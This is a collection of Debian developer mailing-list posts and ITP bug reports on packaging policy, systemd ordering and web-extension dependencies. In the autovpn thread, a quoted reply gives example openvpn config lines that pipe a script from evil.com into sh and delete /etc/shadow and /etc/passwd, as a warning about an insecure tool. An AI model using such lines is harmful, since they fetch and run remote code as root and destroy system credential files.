Re: Source only upload
> Personally, I think we should discard binaries from all sourceful > uploads and only accept binaries from binary-only uploads such as the > uploads done by the buildds. > > https://lists.debian.org/msgid-search/5ec2e979cd7d7ec9bf386fbf77e3399c7aeeb473.ca...@debian.org Agreed, that would be the easiest solution, at least the easiest I can think of. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: Source only upload
> You still need to produce binary packages unfortunately if you > upload > something to NEW or binary-NEW. Sure, but that could be checked for as well. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Source only upload
Hi, I just fell into the trap (again) and uploaded a binary package instead of sources only. We don't want the binaries to be uploaded, that much I get, but could anyone please explain to me, why we still accept binary uploads and why no tool in the whole chain gives as much as a warning, let alone is configured to do the right thing? If I missed something, please point me into the right direction. Thanks, Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Bug#927416: ITP: golang-github-konsorten-go-windows-terminal-sequences -- Enable support for Windows Terminal Colors
Package: wnpp Severity: wishlist Owner: Michael Meskes * Package name: golang-github-konsorten-go-windows-terminal-sequences Version : 1.0.2-1 Upstream Author : marvin + konsorten * URL : https://github.com/konsorten/go-windows-terminal-sequences * License : MIT Programming Lang: Go Description : Enable support for Windows Terminal Colors Windows Terminal Sequences This library allow for enabling Windows terminal color support for Go. . See Console Virtual Terminal Sequences (https://docs.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences) for details. This package is needed as build-dependency for browserpass.
citadel packages
Hi all, is anyone still interested in the citadel packages? I stopped using them ages ago and finally ran out of time maintaining them. If anyone has interest and is willing to put a bit of time into them, be my guest. They are in a decent shape, but a new upstream version needs to get uploaded. If not I'm going to orphan them or even ask for their removal from the archive. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: Forbidding Firefox addons from testing & stable (was: Firefox 60esr on Stretch ?)
> - 2 don't mention it in the BTS (ublock-origin, debianbuttons) Just for the record, the ublock-origin migration to webext is underways, I simply ran out of time. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Bug#894575: ITP: node-tldjs -- JavaScript module that delivers details about domain names
Package: wnpp Severity: wishlist Owner: Michael Meskes * Package name: node-tldjs Version : 2.3.1 Upstream Author : Thomas Parisot * URL : https://github.com/oncletom/tld.js/ * License : MIT Programming Lang: JavaScript Description : JavaScript module that delivers details about domain names `tld.js` is a Node.js module written in JavaScript to work against complex domain names, subdomains and well-known TLDs. . It answers with accuracy to questions like what is host's (sub)domain, or is its TLD a well-known one? Just another new dependency for browserpass.
Bug#894562: ITP: node-fuzzysort -- Fast SublimeText-like fuzzy search for JavaScript
Package: wnpp Severity: wishlist Owner: Michael Meskes * Package name: node-fuzzysort Version : 1.1.1. Upstream Author : Stephen Kamenar * URL : https://github.com/farzher/fuzzysort * License : MIT Programming Lang: JavaScript Description : Fast SublimeText-like fuzzy search for JavaScript An open source JavaScript implementation that gives results similar to SublimeText search feature. This is needed as a new dependency for the browserpass webextension.
Bug#893963: ITP: golang-github-sahilm-fuzzy -- Go library for fuzzy string matching
Package: wnpp Severity: wishlist Owner: Michael Meskes Package: wnpp Severity: wishlist Owner: Michael Meskes * Package name: golang-github-sahilm-fuzzy Version : 0.0.3+git20171025.a154b19-1 Upstream Author : Sahil Muthoo * URL : https://github.com/sahilm/fuzzy * License : MIT Programming Lang: Go Description : Go library for fuzzy string matching Go library that provides fuzzy string matching optimized for filenames and code symbols in the style of Sublime Text, VSCode, IntelliJ IDEA et al. This library is external dependency-free. It only depends on the Go standard library. Demo Here is a demo (_example/main.go) of matching various patterns against ~16K files from the Unreal Engine 4 codebase. Package is needed for new versions of webext-browserpass and will be maintained within go-team.
Re: Systemd dependencies
> On Mon, 26 Feb 2018, Michael Meskes wrote: > > Actually it's the other way round. I need my program, clamsmtp, to > > start before postfix. I haven't checked with the other MTAs to be > > honest. So I guess I could try only adding postfix and see if > > somebody > > reports a problem. > ... Turns out the problem was unrelated to postfix and is now fixed in clamsmtp. Thanks everyone. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: Systemd dependencies
> In which case, if it is postfix, you could just ignore it. It knows > to > try again any transports that fail, it knows to do controlled backoff > and all that jazz, does so by default, and has sane defaults even. > > But it will pester you in the logs about it, though. That's unfortunately not what I'm seeing. Upon reboot mails get stuck in the queue for, like, ever because postfix cannot connect to clamsmtp's port. A postfix restart fixes it, though. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: Systemd dependencies
> > Actually it's the other way round. I need my program, clamsmtp, to > > start before postfix. I haven't checked with the other MTAs to be > > honest. So I guess I could try only adding postfix and see if > > somebody > > reports a problem. > > No, this is no reason to introduce such sequence points. You don't > even > know that the MTA runs on the same system. I did not say I wanted to require it. I just wanted to make sure it's started before the MTA if there is one on the system. As a matter of fact I haven't had time to really debug the problem, a first glance just showed me that on SysV system it always starts earlier and never had a problem but since I added a native service file it doesn't work anymore. This made me wonder if I missed any dependency. So again, not absolutely sure if it helps, but I don't understand why defining a sequence like this would be harmful. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: Systemd dependencies
> You can have aliases, like there exists one in form of > syslog.service. > For such aliases you just define normal After/Wants/Requires entries. I could, but we don't have this implemented, right? > However I really would start one step before. What exactly do you > think > a service dependency on "mail-transport-agent" does provide you? Actually it's the other way round. I need my program, clamsmtp, to start before postfix. I haven't checked with the other MTAs to be honest. So I guess I could try only adding postfix and see if somebody reports a problem. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Systemd dependencies
Hi all, do we have something like virtual entities for systemd service files? In SysV we could require that mail-transport-agent was started before starting a service. But how is this supposed to be handled with systemd? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
> > Right, and that's why we were talking about stuff like flatpak that > > bring the application with its dependencies, more or less like a > > container. > > That's a better solution for such cases than shipping the software > in Debian. > > And it's distribution-agnostic, meaning it can be provided once by > upstream for all distributions instead of duplicating work in every > Linux distribution. This is not exactly what I meant. What we are talking about is adding another section and/or another format to the Debian archive so we can publish packages for these applications that come with their dependencies. With things being integrated in a Debian system they are kind of Debian specific. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
> > And why wouldn't we offer said upstream version instead of the > > unsupported older one? > > In some cases this might require changing literally thousands of > packages in stable. > > Imagine said upstream version requires the latest Node.js. > > Various other packages in stable won't work with the latest Node.js > and will also require upgrading. > > In the Node.js ecosystem it is par for the course when upgrading > a package breaks countless reverse dependencies. Right, and that's why we were talking about stuff like flatpak that bring the application with its dependencies, more or less like a container. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
> The software might integrate properly into Debian - and allow > everyone > on the internet to take control of your computer. Which is of course independent of the way you install the software. > An example what "no security support" means in practice: I don't think anyone suggest "no security", but something like "security by upstream releases". Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
> What is the user supposed to do when Debian announces that some > software essential for that user is no longer supported in the > stable release the user is using? Again, where does this differ from the user realizing their own self- baked installation cannot be upgraded anymore? > At that point the options for the user are either to continue using > software that might already have known grave vulnerabilities, or to > do a rushed attempt trying to find some way to self-install an > upstream > version that is still supported. And why wouldn't we offer said upstream version instead of the unsupported older one? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
> > Let's agree to disagree. I find it perfectly fine if we told people > > up > > front that we support it as long as upstream has a version that > > works > > with the stable base. They are still better or at least not worse > > of > > with that than with a self-installed one. > > Why? With the self-installed one they know up front that they need > to > set up some kind of infrastructure to maintain it and can make an > informed decision about whether they want to take that on. How is it > better to think you have a debian supported install but in fact have > to > come up with the very infrastructure you avoided on an emergency > basis > at some point in the future? I don't understand how this connects to what I, and others, were saying. Nobody ever suggested to leave users in the dark, we talked about documenting very clearly what they get and what they don't. Besides my personal experience is that most people do not set up the infrastructure you mentioned so they get caught unaware no matter what. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice
> Yes. For example these snippets will do what you fear they will: > > script-security 2 > up curl http://evil.com/root-me.sh | sh > up rm /etc/shadow > down rm -f /etc/passwd I just looked into the code myself and have to say you got me convinces. I rescind my ITP and close the report again. Ah, would have made some things easier, but I guess I don't want to use this program either. Thanks. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
> Because eventually a future version will come out that doesn't work > with > the stable base, at which point we suddenly stop supporting the > package. > That's much worse than just admitting up front that we can't support > the > package for the next 4 years. Let's agree to disagree. I find it perfectly fine if we told people up front that we support it as long as upstream has a version that works with the stable base. They are still better or at least not worse of with that than with a self-installed one. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice
> I'd strongly urge you to reconsider packaging this project, for > three main reasons: > > * It relies upon the external VPNGate.net site/service. If this > goes away in the lifetime of a stable Debian release users will > be screwed. That is actually a good point. I wonder if using a local copy might be a good alternative. > * It allows security attacks against the local system, which other > users on the host could exploit via symlink attacks on > /tmp/openvpnconf True, but this could be handled by using a better system to access a temp file. > * It allows security attacks on against the local system which the > remote service could exploit: > > 1. The tool downloads a remote URL to /tmp/openvpnconf > > 2. The file is then given as an argument to the command: > sudo openvpn /tmp/openvpnconf > > 3. That generated/downloaded openvpn configuration file could >be written to do anything, up to and including `rm -rf /`. Can you actually get openvpn to do this? > Finally the project itself notes: > > "This is completely insecure. Please do not use this for anything > important. Get a real and secure VPN. This is mostly a fun tool > to > get a VPN for a few minutes." I read this not as "insecure for the system it runs on" but "insecure on the connection side". This is certainly not something you should use to open your local network to, or to do something illegal. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice
Package: wnpp Severity: wishlist Owner: Michael Meskes * Package name: autovpn Version : 0.0~git20170129.72dd7f6-1 Upstream Author : Adhityaa C * URL : https://github.com/adtac/autovpn * License : GPL V3 Programming Lang: Go Description : Connect to a VPN in a country of your choice autovpn is a tool to automatically connect you to a random VPN in a country of your choice. It uses openvpn to connect you to a server obtained from VPN Gate (http://www.vpngate.net/en/). A small tool that comes handy in particular for people who travel a lot. Will be maintained in the go-team. Michael
Re: What can Debian do to provide complex applications to its users?
> > Who said we cannot properly maintain this stuff? And where do you > > think our expected level of quality (whatever that is) will not be > > reached? > > In the year 2018, any kind of "properly maintain" includes security > support. Indeed it does, but not necessarily the way we handle it now. > Please elaborate how Debian can provide security support for > packages > like gitlab and all their dependencies in buster until mid-2022. > > If Debian cannot provide security support for the lifetime of a > stable > Debian release, it is better for our users when they are installing > the > software from upstream with the security support provided by > upstream. Maybe you answered your question yourself. How about we tie our security support to upstream's? Instead of fixing and backporting ourselves we promise our users that this section of the archive will get upstream's latest fixes even if that means the version number changes. This way the users would get a lot of benefits from using Debian but no drawback compared to the self-installed alternative. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
> Michael Meskes dijo [Sat, Feb 17, 2018 at 01:57:53PM +0100]: > > I disagree, it is not maintainable source code, yes, but source > > code > > nonetheless. According to wikipedia source code is: > > ... > > Some others have answered to this claim. As I understand it, source > code should ideally be the author's preferred form of > modification. That is clearly different from what a minified > representation is. > ... It's amazing how my email seems to have been understood differs from what I wanted to say. I thought it was clear from the "not maintainable" part that I did not suggest we use minified source as source code. I was merely pointing out that it technically still was source code in the sense that the same compiler/interpreter yields the same result with the minified code as with the original one. For all practical manners this is irrelevant. > > I get your point, I just don't accept the consequence that we > > should > > not package these applications. > > Well, try to find somebody with time and motivation to _properly_ do > the packaging, and to keep it up for several years... I absolutely agree with you that it does not work with our current way of packaging, but that's what this discussion about. IMO it would be great if we found a way to offer these applications to our users. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL signature.asc Description: This is a digitally signed message part
Bug#890697: ITP: webext-proxy-switcher -- Modify Proxy Settings for your Browser
Package: wnpp Severity: wishlist Owner: Michael Meskes * Package name: webext-proxy-switcher Version : Upstream Author : * URL : https://github.com/rNeomy/proxy-switcher * License : Programming Lang: Javascript Description : Modify Proxy Settings for your Browser Proxy Switcher lets you change your browser proxy settings (preferences) from a toolbar panel in a familiar UI. The panel allows you to access all proxy related settings and it also stores your configurations in different profiles for easy access. The extension supports importing and exporting feature in case profiles need to be used in another browser instance or you want to switch to a new clean profile. I've been using this as a replacement for the old xul-ext-* proxy extension for quite a while and it works flawlessly for my needs.
Bug#890690: ITP: node-mithril -- Javascript framework for building Single Page Applications
Package: wnpp Severity: wishlist Owner: Michael Meskes * Package name: node-mithril Version : 1.1.6 Upstream Author : Leo Horie and others * URL : https://github.com/MithrilJS/mithril.js * License : MIT Programming Lang: Javascript Description : Javascript framework for building Single Page Applications Mithril is a modern client-side Javascript framework for building Single Page Applications. It's small (< 8kb gzip), fast and provides routing and XHR utilities out of the box. I need this as a build dependency and will thus take care of it, but wouldn't mind seeing it end up in the appropriate javascript group. Michael
Re: What can Debian do to provide complex applications to its users?
> On Sat, Feb 17, 2018 at 01:51:38PM +0100, Michael Meskes wrote: > > Then I guess the question is, what is Debian? > > > > Does a different and additional package format change the project? > > It seems like you're not reading what other people have said--tt has Well I try, but I'm certainly not perfect. Assuming this is not a personal attack you might want to point me to whatever I missed. > nothing to do with the packaging format, it has to do with providing > a > stable base of software that interoperates. A collection of > unrelated > independent modules which must be dynamically built off the latest > git > repository may be interesting, but it's not a coherent distribution. I thought we were talking about packages for some big applications that a lot of people want to use nowadays. > Other people are already trying to do that thing, it isn't clear > what > value debian would add. Conversely, we know what the current debian How about making it available from the same reliable source? And having it well integrated with the rest of the system? > distribution provides, why throw that out to chase some new shiny > thing? Sorry I still don't get this. Why would adding some (as Moritz suggested probably less than 50) packages in a different format (Maybe flatpak as Sean suggested) equal to throwing out what Debian provides now? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
> I don't know where you got figures to support this case, but I have > the > inverse feeling (and no figures either). Arch is taking away our > desktop > users, Ubuntu is taking away our cloud users, Alpine is taking away > our > container users and CoreOS/Atomic Host are taking away users > interested > by container orchestration solutions. Not sure about those details, but yes, this is my gut feeling, too. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL signature.asc Description: This is a digitally signed message part
Re: What can Debian do to provide complex applications to its users?
> Minification is quite comparable to compilation. I will give you some > examples from my frustration with Drupal8 in this answer. This can no > longer be seen as source code: > ... I disagree, it is not maintainable source code, yes, but source code nonetheless. According to wikipedia source code is: In computing, source code is any collection of computer instructions, possibly with comments, written using[1] a human-readable programming language, usually as plain text. I guess minified source code does qualify. However, this discussion is mood since the bigger lies in the modules that get included without any real documentation. > And it's far from the ugliest example I can quote. Of course, I > needed > to ship sources for all of them - Take a look at: > > https://anonscm.debian.org/cgit/collab-maint/drupal8.git/tree/deb > ian/missing-sources/README > > And, of course, think about the huge diff that is to be created for > all of the files in debian/missing-sources. Agreed this is ugly and I'm all in if we can find a better solution. but just not having all these applications does not strike me as a better solution. > Take this as an example of what is needed for a moderately complex > PHP > webapp with lots of JS in it: > > https://anonscm.debian.org/cgit/collab-maint/drupal8.git/tree/deb > ian/copyright > > Of course, it was all hand-generated and validated. And your point being? > But packaging the precise version that is required in each little > bump > is just impossible. I get your point, I just don't accept the consequence that we should not package these applications. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL signature.asc Description: This is a digitally signed message part
Re: What can Debian do to provide complex applications to its users?
Am Freitag, den 16.02.2018, 17:22 -0500 schrieb Michael Stone: > On Fri, Feb 16, 2018 at 10:01:53PM +0100, Michael Meskes wrote: > > True, that's why I think we should look for a different solutions. > > There are different solutions, but the result isn't debian, it's > something else with a different set of expectations. Then I guess the question is, what is Debian? Does a different and additional package format change the project? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Bug#890623: ITP: webext-bulk-media-downloader -- Cross-browser extension to detect and download media resources
Package: wnpp Severity: wishlist Owner: Michael Meskes * Package name: webext-bulk-media-downloader Version : 0.2.1 Upstream Author : InBasic * URL : https://addons.mozilla.org/firefox/addon/bulk-media-downloader/ * License : MPL-2.0 Programming Lang: Javascript Description : Cross-browser extension to detect and download media resources Bulk Media Downloader is a browser extension (add-on) to detect all media (video, audio and image) sources by monitoring network activities. In oppose to the other similar extensions, Bulk Media Downloader has zero impact on your browser performance when the grabber window is closed. To grab a media, open the Media Tools window and refresh the browser tab that has the intended resource and wait for the resource to be fetched by browser one more time. You can use filters to declutter resources area and you can bulk download resources by selecting multiple items at once. This will replace some extensions for firefox that no longer work and will be maintained inside the pkg-mozext group. Michael
Re: What can Debian do to provide complex applications to its users?
> > Who said we cannot properly maintain this stuff? And where do you > > think our expected level of quality (whatever that is) will not be > > reached? > > In this thread, at least Raphaël and myself. > > And, I guess, many others (say, OwnCloud was already brought up to > this thread). As I explained before the question was more about the definition of "properly maintain". Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
> Depends how it would be done. Nixos style would probably very > difficult for Debian. Packages with version number in their > name would be no packaging problem at all, but we would have > to make clear, that security support is not likely. Sure, I don't see a problem with this. > > discussions are going. How on earth did we get from the technical > > problem of > > how to package large application stacks that come with their own > > copies of > > certain "libraries" to packaging software that is neither free nor > > open source? > > I didn't notice anyone suggesting we should do the latter. > > Is was a relevant part of the problem mentioned in Raphaels bug > report: Minified JS libraries without source code. this was one > of the starting points of this discussion. (#890598) Right, although merely technical since there is source code, albeit not very legible or maintainable. > The bug report mentions two orthogonal problems: > - libraries without source code or no license information I might have missed the missing license problem, but I'm pretty noone wants to see unlicensed software in Debian, which also would be illegal. > - libraries which are needed in specific versions This one really worries me. I wonder how many similar cases we already have, where somebody took some code and changed it slightly before including it. > I add a third one: > - libraries that are not packaged, because there are too many The problem is probably less the amount but more the manual work to find the canonical sources. Packing a go "library" for instance does not take a lot of time, because it can be done mostly automated. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL signature.asc Description: This is a digitally signed message part
Re: What can Debian do to provide complex applications to its users?
> stuff is packaged. The current "build everything from live git" > paradigm > just doesn't work well for a package-based distributon with a multi- > year True, that's why I think we should look for a different solutions. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
> As a sysadmin, I know I can trust that most of my system is OK if I > just apt update / apt upgrade every so often. And I know the maybe > five to ten software packages I have hand-installed. I know I must be > aware of their alerts and whatnot. Personally I'm afraid that a lot of sysadmins know to run apt update/upgrade frequently but way fewer do (have the time to) check the alerts etc. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
On Fri, Feb 16, 2018 at 08:21:19PM +0100, W. Martin Borgert wrote: > This is true. We would have to be clear, that security support > would have to be limited to one (the latest?) version. This is > still a difference to some arbitrary compressed js files with no > source code, no copyright information etc. which people use when > there is no Debian package at all. > > But it's probably too much work, preparing infrastructure etc. Why? > Anyway, relaxing requirements on source code availability, > building from sources with tools within Debian, free license, > etc. is not an option for me. Not only in the context of Debian. I've been doing Debian for so long now but I still cannot grasp the way discussions are going. How on earth did we get from the technical problem of how to package large application stacks that come with their own copies of certain "libraries" to packaging software that is neither free nor open source? I didn't notice anyone suggesting we should do the latter. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
> We cannot feasibly provide security updates when there is more than one > version of the library in the archive. We do not, and probably never > will have, the required manpower. > > This applies to the nixos/guix solutions too -- we cannot expect our > security team to go around backporting patches to all the different > versions we're offering to users. Yeah, I was expecting this point and I don't agree. Well, I do agree on it's being too much of a burden for us to backport all fixes to each version, but I do not agree on that being what we need to do. If we were to package applications as containers (not necessarily docker-style!) we could and should have different rules for those. Just see what people will do otherwise, use a Linux distribution and install manually and then, maybe, update when a fixed version of the application comes out. IMO we should do exactly the same and make sure the application containers get update to fixed version as and when possible. For users this means that get probably better security and easier deployment of whatever application they need to run. Obviously this needs to be clearly documented. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
On Fri, Feb 16, 2018 at 11:12:51AM -0500, Michael Stone wrote: > On Fri, Feb 16, 2018 at 04:58:04PM +0100, Michael Meskes wrote: > > I know that this does create some problems for us, e.g. on the security > > side, but the alternative is, as you mentioned, manually installed > > software and that surely is worse. > > No, I think it's better if people know they're on their own for maintaining > something. What's surely worse is when we ship stuff that we know we can't > properly maintain in the long term. Better to be out of the archive than in > without the expected level of quality. Who said we cannot properly maintain this stuff? And where do you think our expected level of quality (whatever that is) will not be reached? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
> What can we do to avoid this? > > I don't have any definite answers although there are ideas to > explore: > > - we could relax our requirements and have a way to document the > limitations of those packages (wrt our usual policies) > > - we could ship those applications not as .deb but as container > and let them have their own lifecycle > > What do you think? Do you have other ideas? Are there other persons > who are annoyed by the current situation? Can't we treat a .deb file like a container in the sense that it may include additional source if needed? I'd very much like this. I know that this does create some problems for us, e.g. on the security side, but the alternative is, as you mentioned, manually installed software and that surely is worse. Maybe we should restrict this approach to areas where this problem is very common, like javascript? At least initially. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Bug#890520: ITP: webext-privacy-badger -- Privacy Badger blocks spying ads and invisible trackers
Package: wnpp Severity: wishlist Owner: Michael Meskes * Package name: webext-privacy-badger Version : 2018.2.5 Upstream Author : Electronic Frontier Foundation and other contributors * URL : https://github.com/EFForg/privacybadger * License : GPL v3+ Programming Lang: JavaScript Description : Privacy Badger blocks spying ads and invisible trackers Privacy Badger is a browser add-on that stops advertisers and other third-party trackers from secretly tracking where you go and what pages you look at on the web. If an advertiser seems to be tracking you across multiple websites without your permission, Privacy Badger automatically blocks that advertiser from loading any more content in your browser. To the advertiser, it's like you suddenly disappeared. Git has already been created for webext-team on salsa. Michael
Bug#890331: ITP: browserpass -- web extension for the password manager pass
Package: wnpp Severity: wishlist Owner: Michael Meskes * Package name: browserpass Version : 2.0.11 Upstream Author : Maxim Baz * URL : https://github.com/dannyvankooten/browserpass * License : MIT Programming Lang: go, javascript Description : web extension for the password manager pass webext-browserpass is a Firefox/Chromium extension for the password manager pass. It retrieves your decrypted passwords for the current domain and allows you to auto-fill login forms, as well as copy it to clipboard. If you have multiple logins for the current site, the extension shows you a list of usernames to choose from. git is already created for the pkg-mozext team. Michael
Bug#890197: ITP: golang-rsc-qr -- QR codes
Package: wnpp Severity: wishlist Owner: Michael Meskes * Package name: golang-rsc-qr Version : 0.0~git20161121.48b2ede-1 Upstream Author : Russ Cox * URL : https://github.com/rsc/qr * License : BSD-3-clause Programming Lang: Go Description : QR codes Needed to build another package.
Re: [Pkg-citadel-devel] Bug#851086: Bug#859789: RFH: citadel/webcit
> We are one bugfix away from that release. Hoping to get it out over > the > next week or so. > > It will have a new version number :) Great! Thanks Art! I'll do an upload when it's available. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
